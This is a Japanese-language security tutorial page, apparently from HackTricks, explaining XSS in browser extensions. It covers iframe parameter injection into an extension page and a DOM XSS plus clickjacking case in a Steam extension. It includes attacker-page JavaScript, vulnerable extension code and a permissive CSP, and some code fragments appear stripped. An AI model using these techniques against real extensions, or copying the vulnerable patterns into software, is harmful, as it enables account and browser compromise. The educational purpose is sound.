# BrowExt - XSSの例 {{#include ../../banners/hacktricks-training.md}} ## Iframeを通じたクロスサイトスクリプティング(XSS) このセットアップでは、**コンテンツスクリプト**が実装され、Iframeをインスタンス化し、Iframeのソースとしてクエリパラメータを含むURLを組み込んでいます: ```javascript chrome.storage.local.get("message", (result) => { let constructedURL = chrome.runtime.getURL("message.html") + "?content=" + encodeURIComponent(result.message) + "&redirect=https://example.net/details" frame.src = constructedURL }) ``` 公開アクセス可能なHTMLページ、**`message.html`**は、URLのパラメータに基づいてドキュメントボディにコンテンツを動的に追加するように設計されています: ```javascript $(document).ready(() => { let urlParams = new URLSearchParams(window.location.search) let userContent = urlParams.get("content") $(document.body).html( `${userContent} ` ) $("#detailBtn").on("click", () => { let destinationURL = urlParams.get("redirect") chrome.tabs.create({ url: destinationURL }) }) }) ``` 悪意のあるスクリプトが敵のページで実行され、Iframeのソースの`content`パラメータが変更されて**XSSペイロード**が導入されます。これは、Iframeのソースを有害なスクリプトを含むように更新することで達成されます: ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src let baseURL = targetFrame.split("?")[0] let xssPayload = "" let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` document.querySelector("iframe").src = maliciousURL }, 1000) ``` 過度に許可されたコンテンツセキュリティポリシーは、次のようになります: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にします。 XSSを引き起こす別のアプローチは、Iframe要素を作成し、そのソースを有害なスクリプトを`content`パラメータとして含むように設定することです: ```javascript let newFrame = document.createElement("iframe") newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + encodeURIComponent("") document.body.append(newFrame) ``` ## DOMベースのXSS + ClickJacking この例は[元の投稿の要約](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)から取られました。 コアの問題は、**`/html/bookmarks.html`**にあるDOMベースのクロスサイトスクリプティング(XSS)脆弱性から生じます。問題のあるJavaScriptは、**`bookmarks.js`**の一部で、以下に詳述されています: ```javascript $("#btAdd").on("click", function () { var bookmarkName = $("#txtName").val() if ( $(".custom-button .label").filter(function () { return $(this).text() === bookmarkName }).length ) return false var bookmarkItem = $('
') bookmarkItem.html('' + bookmarkName + "") bookmarkItem.append('') bookmarkItem.attr("data-title", bookmarkName) bookmarkItem.data("timestamp", new Date().getTime()) $("section.bookmark-container .existing-items").append(bookmarkItem) persistData() }) ``` このスニペットは、**`txtName`** 入力フィールドから **値** を取得し、**文字列連結を使用してHTMLを生成** し、それをjQueryの `.append()` 関数を使用してDOMに追加します。 通常、Chrome拡張機能のコンテンツセキュリティポリシー (CSP) はそのような脆弱性を防ぎます。しかし、**‘unsafe-eval’ によるCSPの緩和** と jQueryのDOM操作メソッドの使用(これらはDOM挿入時にスクリプトを [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) に渡すために [`globalEval()`](https://api.jquery.com/jquery.globaleval/) を使用します)により、悪用は依然として可能です。 この脆弱性は重要ですが、その悪用は通常ユーザーの操作に依存します:ページを訪問し、XSSペイロードを入力し、「追加」ボタンをアクティブにします。 この脆弱性を強化するために、二次的な **clickjacking** 脆弱性が悪用されます。Chrome拡張機能のマニフェストは、広範な `web_accessible_resources` ポリシーを示しています: ```json "web_accessible_resources": [ "html/bookmarks.html", "dist/*", "assets/*", "font/*", [...] ], ``` 特に、**`/html/bookmarks.html`** ページはフレーミングに対して脆弱であり、したがって **clickjacking** に対しても脆弱です。この脆弱性は、攻撃者のサイト内でページをフレーム化し、DOM要素でオーバーレイしてインターフェースを巧妙に再設計するために利用されます。この操作により、被害者は意図せずに基盤となる拡張機能と対話することになります。 ## 参考文献 - [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) - [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) {{#include ../../banners/hacktricks-training.md}}